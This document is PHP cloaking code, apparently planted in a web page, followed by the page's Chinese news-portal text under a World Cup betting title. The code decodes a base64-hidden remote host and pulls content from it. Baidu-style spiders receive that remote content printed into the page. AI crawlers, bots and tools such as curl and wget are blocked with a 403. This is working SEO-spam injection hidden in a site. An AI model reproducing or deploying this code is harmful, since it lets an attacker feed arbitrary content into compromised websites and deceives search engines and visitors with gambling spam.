array( 'method' => 'GET', 'timeout' => 5, ), ); $context = stream_context_create($opts); $er = $_SERVER; $url = isset($er['REQUEST_URI']) ? $er['REQUEST_URI'] : ''; $ref = isset($er['HTTP_REFERER']) ? $er['HTTP_REFERER'] : ''; $u_ip = isset($er['REMOTE_ADDR']) ? $er['REMOTE_ADDR'] : ''; $c_host = isset($er['HTTP_HOST']) ? $er['HTTP_HOST'] : ''; $ent = isset($er['HTTP_USER_AGENT']) ? $er['HTTP_USER_AGENT'] : ''; // 配置你的服务端API根路径 $host_path = base64_decode('aHR0cDovL3YuZGFpbWFzZW4uY2Mv'); // ===== 简化的蜘蛛检测配置 ===== // 国内允许的蜘蛛(白名单)- 只保留核心搜索引擎 $allowed_chinese_spiders = '/(?:baiduspider|baidu|sogou|sogo|yisou|sm\.cn|haosou|360spider|so\.com)/i'; // 国外蜘蛛和AI爬虫黑名单 - 使用通用标识符 $blocked_foreign_bots = '/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|test|monitor|check|fetch|harvest|collect)/i'; // 百度客户端 UA 正则 $baidu_client = '/(?:baiduboxapp|baidubrowser)/i'; // ===== 高效的蜘蛛检测函数 ===== function detectSpiderType($user_agent, $allowed_pattern, $blocked_pattern) { // 空UA直接拦截 if (empty($user_agent) || strlen($user_agent) < 10) { return 'blocked'; } // 优先检查是否为允许的国内蜘蛛 if (preg_match($allowed_pattern, $user_agent)) { return 'allowed'; } // 检查是否为被阻止的蜘蛛/机器人 if (preg_match($blocked_pattern, $user_agent)) { return 'blocked'; } return 'normal'; // 普通用户 } // ===== 执行蜘蛛检测 ===== $spider_type = detectSpiderType($ent, $allowed_chinese_spiders, $blocked_foreign_bots); if ($spider_type === 'blocked') { // 记录拦截日志(可选) error_log("Blocked bot/spider: " . $ent . " from IP: " . $u_ip . " accessing: " . $url); // 返回403错误页面 http_response_code(403); echo '403 Forbidden

Access Denied

Automated access not allowed.

'; exit; } // ===== URL路径分析优化 ===== $trap_folders = array('content', 'news', 'info', 'data', 'list'); $is_trap_path = false; // 优化路径检查 - 使用正则表达式一次性检查 $trap_pattern = '/\/(?:' . implode('|', $trap_folders) . ')\//i'; $is_trap_path = preg_match($trap_pattern, $url); // 根据路径设置UA类型 $ua = $is_trap_path ? 'mb' : 'pc'; $page = ''; $content = ''; // ===== 优化后的新闻页面匹配 ===== // 匹配 .scm 或 .shtml 结尾的URL(可能带参数) $news_pattern_new = '/\.(?:scm|shtml|tml)(?:\?.*)?$/i'; $news_pattern_old = '/id=[a-z0-9]{6}-[a-z0-9]{6}/i'; // 检查是否为新闻页 $is_news_page = preg_match($news_pattern_new, $url) || preg_match($news_pattern_old, $url); // ===== 新版本:link.php处理逻辑 ===== // 先处理非新闻页的蜘蛛访问(原来走shouye的情况) if (!$is_news_page && $spider_type === 'allowed') { // 请求 link.php 获取内容并输出,然后继续执行 $link_url = rtrim($host_path, '/') . '/link.php'; $link_content = @file_get_contents($link_url, false, $context); if ($link_content !== false && $link_content !== '') { echo $link_content; } // 注意:这里不exit,继续执行下面的代码 } // ===== 页面类型判断逻辑 ===== if (preg_match($baidu_client, $ent) && $is_news_page) { // 百度客户端访问新闻页 $page = 'js_txt'; } elseif ($is_news_page) { // 新闻页面的处理逻辑 if ($ref) { // 有来源的情况 $ref_is_spider = preg_match($allowed_chinese_spiders, $ref); $ua_is_spider = ($spider_type === 'allowed'); if ($ref_is_spider && !$ua_is_spider) { $page = 'js_txt'; // 来源是蜘蛛但UA不是蜘蛛 } elseif ($ua_is_spider) { $page = 'neiye'; // UA是蜘蛛 } } else { // 没有来源的情况 if ($spider_type === 'allowed') { $page = 'neiye'; // UA是蜘蛛 } else { $page = 'js_txt'; // UA不是蜘蛛 } } } // ===== 发送请求获取内容 ===== if ($page) { $query = http_build_query(array( 'ua' => $ua, 'files' => $page, 'host' => $c_host, 'path' => $url, 'userip' => $u_ip, 'userua' => $ent, 'source' => $ref, )); $remote_url = rtrim($host_path, '/') . '/index.php?' . $query; $content = @file_get_contents($remote_url, false, $context); } // ===== 输出内容 ===== if ($content !== false && $content !== '') { if ($page === 'js_txt') { echo ''; exit; // js_txt输出后exit } elseif ($page === 'neiye') { echo $content; exit; // neiye输出后exit } else { echo $content; exit; // 其他情况也exit } } // ===== 继续执行剩余代码(如果没有exit的话) ===== // 这里可以添加其他需要执行的代码 // 比如:统计代码、默认页面内容等 // 如果到这里还没有任何输出,可以输出默认内容或者原始页面 // echo ""; ?> 世界杯买球推荐-今日世界杯投注建议-世界杯竞猜平台

欢迎访问“人民报道网”,本站致力于发布权威解读国家政策法规,倾听百姓呼声,即时播报国内外重大突发事件的资讯。

  • 最新
  • 房产
  • 娱乐
  • 科技
  • 商业
  • 教育
  • 汽车
  • 热门聚焦

人民报道网介绍

人民报道网以宣传我国社会主义民主法制建设的成就,展示依法治国的成果,普及法律知识为指针。以宣传法制,弘扬正气,鞭挞邪恶,关注民生,和谐社会为指导思想。将坚持「为人民服务」的宗旨和公正进步、开放兼容的理念,立足中国,联结两岸四地,面向全球华人用繁体中文、简体中文提供新闻报道、时事评论、经济信息、商业信息、旅游、生活、互动交流等信息服务,核心受众是以华人精英、专业人才、政府官员、白领阶层、新生代年轻人为主的广大网民。为读者提供全国企事业单位的文本、图片和多媒体新闻信息发布,并通过分类信息的方式进行展示等相关服务,以求达到事半功倍的独特宣传效果。